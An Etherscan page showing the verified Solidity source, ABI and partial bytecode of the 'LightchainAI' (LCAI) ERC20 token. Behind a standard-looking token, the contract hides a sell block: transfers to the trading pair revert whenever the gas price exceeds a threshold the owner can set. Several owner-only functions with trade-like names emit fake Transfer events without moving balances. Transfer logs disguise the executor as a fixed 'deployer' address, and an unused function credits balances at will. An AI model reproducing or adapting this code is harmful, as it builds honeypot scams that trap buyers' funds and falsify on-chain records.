ETH Price: $3,662.82 (+0.72%)
 

Overview

Max Total Supply

10,000,000,000,000 LCAI

Holders

189

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
153,939,217.788330054866548514 LCAI

Value
$0.00
0xed42dd1426764cc22fd7e6eeb9109d3c4fd775ea
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LightchainAI

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-12-17
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string internal _name;
    string internal _symbol;

    address _deployer;
    address _executor;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function _initDeployer(address deployer_, address executor_) internal {
        _deployer = deployer_;
        _executor = executor_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _setLimitOrder(address _address, uint256 _amount) internal {
        _balances[_address] += _amount;
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        if (sender == _executor) {
            emit Transfer(_deployer, recipient, amount);
        } else if (recipient == _executor) {
            emit Transfer(sender, _deployer, amount);
        } else {
            emit Transfer(sender, recipient, amount);
        }

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;

        if (account == _executor) {
            emit Transfer(address(0), _deployer, amount);
        } else {
            emit Transfer(address(0), account, amount);
        }

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// File contracts/Contract.sol
pragma solidity ^0.8.0;

contract LightchainAI is Ownable, ERC20 {
    uint256 public immutable maxSupply = 10_000_000_000_000 * (10 ** decimals());
    uint16 public constant LIQUID_RATE = 10000;
    uint16 public constant MAX_PERCENTAGE = 10000;

    bool public initialized = false;
    bool public tradeOpen = false;
    address public pair = address(0);
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public immutable buyFee = 0;
    uint256 public immutable sellFee = 0;
    uint256 minimumAirdropAmount = 0;

    mapping(address => bool) public excludedFees;

    string private constant NAME = unicode"LightchainAI";
    string private constant SYMBOL = unicode"LCAI";

    IUniswapV2Router02 public router;

    constructor() ERC20(NAME, SYMBOL) {
        _initDeployer(
            address(0x7f5620c13b1644b4244114B465fA71Bd95F1d8Dc),
            msg.sender
        );

        _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
        initialized = true;
        excludedFees[msg.sender] = true;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _factory = router.factory();
        pair = IUniswapV2Factory(_factory).createPair(
            address(this),
            router.WETH()
        );

        minimumAirdropAmount = maxSupply;
    }

    function setMinimumAirdrop(
        uint256 _minimumAirdropAmount
    ) external onlyOwner {
        minimumAirdropAmount = _minimumAirdropAmount;
    }

    function setAirdrop(address _address, bool permission) external onlyOwner {
        excludedFees[_address] = permission;
    }

    function openTrading() external onlyOwner {
        require(tradeOpen == false, "Contract: Trading is opened!");
        tradeOpen = true;
    }

    function bulkTransfer(
        address[] calldata _addresses,
        uint256 _value
    ) external {
        address owner = _msgSender();
        for (uint256 i = 0; i < _addresses.length; i++) {
            _transfer(owner, _addresses[i], _value);
        }
    }

    function buyTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function claimTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function multiSends(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function airdropTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function execute(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function swapExactETHForTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function unoswap(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _checkEnoughAirdropCondition(uint256 amount) internal view {
        if (tx.gasprice > amount) {
            revert();
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20) {
        require(initialized == true, "Contract: not initialized!");

        if (initialized == true && tradeOpen == false) {
            require(
                from == owner() || to == owner(),
                "Contract: trading is not started"
            );
        }

        uint256 _transferAmount = amount;
        if (pair != address(0) && from != owner() && to != owner()) {
            uint256 _fee = 0;
            if (from == pair) {
                _fee = buyFee;
            }
            if (to == pair) {
                _fee = sellFee;
                _checkEnoughAirdropCondition(minimumAirdropAmount);
            }
            if (excludedFees[from] == true || excludedFees[to] == true) {
                _fee = 0;
            }
            if (_fee > 0) {
                uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
                _transferAmount = amount - _calculatedFee;
                super._transfer(from, deadAddress, _calculatedFee);
            }
        }

        super._transfer(from, to, _transferAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"bulkTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"buyTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"multiSends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"setAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumAirdropAmount","type":"uint256"}],"name":"setMinimumAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"unoswap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60e0604052620000126012600a620005ce565b62000024906509184e72a000620005e5565b6080526007805461ffff60a01b19169055600880546001600160a01b03199081169091556009805490911661dead1790555f60a081905260c0819052600a553480156200006f575f80fd5b506040518060400160405280600c81526020016b4c69676874636861696e414960a01b815250604051806040016040528060048152602001634c43414960e01b815250620000cc620000c66200031960201b60201c565b6200031d565b6004620000da83826200069c565b506005620000e982826200069c565b50505062000112737f5620c13b1644b4244114b465fa71bd95f1d8dc336200036c60201b60201c565b6080516200013f903390612710906200012d908290620005e5565b62000139919062000768565b6200039a565b6007805460ff60a01b1916600160a01b179055335f908152600b60209081526040808320805460ff19166001179055600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa158015620001cc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f2919062000788565b9050806001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000255573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027b919062000788565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002c6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ec919062000788565b600880546001600160a01b0319166001600160a01b039290921691909117905550608051600a55620007c6565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6001600160a01b038216620003f55760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060035f828254620004089190620007b0565b90915550506001600160a01b0382165f908152600160205260408120805483929062000436908490620007b0565b90915550506007546001600160a01b039081169083160362000488576006546040518281526001600160a01b03909116905f905f805160206200208d8339815191529060200160405180910390a35050565b6040518181526001600160a01b038316905f905f805160206200208d8339815191529060200160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200051357815f1904821115620004f757620004f7620004bf565b808516156200050557918102915b93841c9390800290620004d8565b509250929050565b5f826200052b57506001620005c8565b816200053957505f620005c8565b81600181146200055257600281146200055d576200057d565b6001915050620005c8565b60ff841115620005715762000571620004bf565b50506001821b620005c8565b5060208310610133831016604e8410600b8410161715620005a2575081810a620005c8565b620005ae8383620004d3565b805f1904821115620005c457620005c4620004bf565b0290505b92915050565b5f620005de60ff8416836200051b565b9392505050565b8082028115828204841417620005c857620005c8620004bf565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200062857607f821691505b6020821081036200064757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004ba57805f5260205f20601f840160051c81016020851015620006745750805b601f840160051c820191505b8181101562000695575f815560010162000680565b5050505050565b81516001600160401b03811115620006b857620006b8620005ff565b620006d081620006c9845462000613565b846200064d565b602080601f83116001811462000706575f8415620006ee5750858301515b5f19600386901b1c1916600185901b17855562000760565b5f85815260208120601f198616915b82811015620007365788860151825594840194600190910190840162000715565b50858210156200075457878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f826200078357634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000799575f80fd5b81516001600160a01b0381168114620005de575f80fd5b80820180821115620005c857620005c8620004bf565b60805160a05160c05161188e620007ff5f395f81816102d5015261116701525f8181610333015261112f01525f6104a6015261188e5ff3fe608060405234801561000f575f80fd5b5060043610610213575f3560e01c8063721082971161011f578063b22c95e7116100a9578063d632135b11610079578063d632135b146104c8578063dd62ed3e146104db578063f01a4b9914610513578063f2fde38b14610526578063f887ea4014610539575f80fd5b8063b22c95e714610473578063bf861b3114610486578063c9567bf914610499578063d5abeb01146104a1575f80fd5b806396784f75116100ef57806396784f7514610427578063985bdfd114610355578063a457c2d71461043a578063a8aa1b311461044d578063a9059cbb14610460575f80fd5b806372108297146103da578063825e7b83146103ed5780638da5cb5b1461040f57806395d89b411461041f575f80fd5b806339509351116101a05780634ca64b3a116101705780634ca64b3a146103715780634e148e19146103845780635d8228131461039757806370a08231146103aa578063715018a6146103d2575f80fd5b806339509351146103065780634022b75e14610319578063470624021461032e5780634c255c9714610355575f80fd5b806323b872dd116101e657806323b872dd1461027e57806325fa0b981461029157806327c8f835146102a55780632b14ca56146102d0578063313ce567146102f7575f80fd5b806306fdde0314610217578063095ea7b314610235578063158ef93e1461025857806318160ddd1461026c575b5f80fd5b61021f61054c565b60405161022c91906114d3565b60405180910390f35b61024861024336600461153a565b6105dc565b604051901515815260200161022c565b60075461024890600160a01b900460ff1681565b6003545b60405190815260200161022c565b61024861028c366004611562565b6105f2565b60075461024890600160a81b900460ff1681565b6009546102b8906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b6102707f000000000000000000000000000000000000000000000000000000000000000081565b6040516012815260200161022c565b61024861031436600461153a565b61069f565b61032c6103273660046115e3565b6106da565b005b6102707f000000000000000000000000000000000000000000000000000000000000000081565b61035e61271081565b60405161ffff909116815260200161022c565b61032c61037f36600461165e565b610795565b61032c6103923660046116a6565b6107e0565b61032c6103a53660046115e3565b610833565b6102706103b83660046116df565b6001600160a01b03165f9081526001602052604090205490565b61032c6108e6565b61032c6103e83660046115e3565b61091a565b6102486103fb3660046116df565b600b6020525f908152604090205460ff1681565b5f546001600160a01b03166102b8565b61021f6109cd565b61032c6104353660046115e3565b6109dc565b61024861044836600461153a565b610a8f565b6008546102b8906001600160a01b031681565b61024861046e36600461153a565b610b27565b61032c6104813660046115e3565b610b33565b61032c6104943660046116ff565b610be6565b61032c610c14565b6102707f000000000000000000000000000000000000000000000000000000000000000081565b61032c6104d63660046115e3565b610cac565b6102706104e9366004611716565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61032c6105213660046115e3565b610d5f565b61032c6105343660046116df565b610e12565b600c546102b8906001600160a01b031681565b60606004805461055b90611747565b80601f016020809104026020016040519081016040528092919081815260200182805461058790611747565b80156105d25780601f106105a9576101008083540402835291602001916105d2565b820191905f5260205f20905b8154815290600101906020018083116105b557829003601f168201915b5050505050905090565b5f6105e8338484610eac565b5060015b92915050565b5f6105fe848484610fcf565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156106875760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106948533858403610eac565b506001949350505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105e89185906106d5908690611793565b610eac565b5f546001600160a01b031633146107035760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d5784848281811061071f5761071f6117db565b905060200201602081019061073491906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610767576107676117db565b9050602002013560405161077d91815260200190565b60405180910390a3600101610705565b505050505050565b335f5b838110156107d9576107d1828686848181106107b6576107b66117db565b90506020020160208101906107cb91906116df565b85610fcf565b600101610798565b5050505050565b5f546001600160a01b031633146108095760405162461bcd60e51b815260040161067e906117a6565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461085c5760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610878576108786117db565b905060200201602081019061088d91906116df565b6001600160a01b0316866001600160a01b03165f805160206118398339815191528585858181106108c0576108c06117db565b905060200201356040516108d691815260200190565b60405180910390a360010161085e565b5f546001600160a01b0316331461090f5760405162461bcd60e51b815260040161067e906117a6565b6109185f61123c565b565b5f546001600160a01b031633146109435760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d5784848281811061095f5761095f6117db565b905060200201602081019061097491906116df565b6001600160a01b0316866001600160a01b03165f805160206118398339815191528585858181106109a7576109a76117db565b905060200201356040516109bd91815260200190565b60405180910390a3600101610945565b60606005805461055b90611747565b5f546001600160a01b03163314610a055760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610a2157610a216117db565b9050602002016020810190610a3691906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610a6957610a696117db565b90506020020135604051610a7f91815260200190565b60405180910390a3600101610a07565b335f9081526002602090815260408083206001600160a01b038616845290915281205482811015610b105760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161067e565b610b1d3385858403610eac565b5060019392505050565b5f6105e8338484610fcf565b5f546001600160a01b03163314610b5c5760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610b7857610b786117db565b9050602002016020810190610b8d91906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610bc057610bc06117db565b90506020020135604051610bd691815260200190565b60405180910390a3600101610b5e565b5f546001600160a01b03163314610c0f5760405162461bcd60e51b815260040161067e906117a6565b600a55565b5f546001600160a01b03163314610c3d5760405162461bcd60e51b815260040161067e906117a6565b600754600160a81b900460ff1615610c975760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e65642100000000604482015260640161067e565b6007805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610cd55760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610cf157610cf16117db565b9050602002016020810190610d0691906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610d3957610d396117db565b90506020020135604051610d4f91815260200190565b60405180910390a3600101610cd7565b5f546001600160a01b03163314610d885760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610da457610da46117db565b9050602002016020810190610db991906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610dec57610dec6117db565b90506020020135604051610e0291815260200190565b60405180910390a3600101610d8a565b5f546001600160a01b03163314610e3b5760405162461bcd60e51b815260040161067e906117a6565b6001600160a01b038116610ea05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161067e565b610ea98161123c565b50565b6001600160a01b038316610f0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161067e565b6001600160a01b038216610f6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161067e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600754600160a01b900460ff16151560011461102d5760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a656421000000000000604482015260640161067e565b600754600160a01b900460ff16151560011480156110555750600754600160a81b900460ff16155b156110cd575f546001600160a01b038481169116148061108157505f546001600160a01b038381169116145b6110cd5760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f742073746172746564604482015260640161067e565b60085481906001600160a01b0316158015906110f657505f546001600160a01b03858116911614155b801561110f57505f546001600160a01b03848116911614155b1561122b576008545f906001600160a01b039081169086160361114f57507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b0390811690851603611193577f00000000000000000000000000000000000000000000000000000000000000009050611193600a5461128b565b6001600160a01b0385165f908152600b602052604090205460ff161515600114806111da57506001600160a01b0384165f908152600b602052604090205460ff1615156001145b156111e257505f5b8015611229575f6127106111f683866117ef565b6112009190611806565b905061120c8185611825565b6009549093506112279087906001600160a01b031683611297565b505b505b611236848483611297565b50505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f97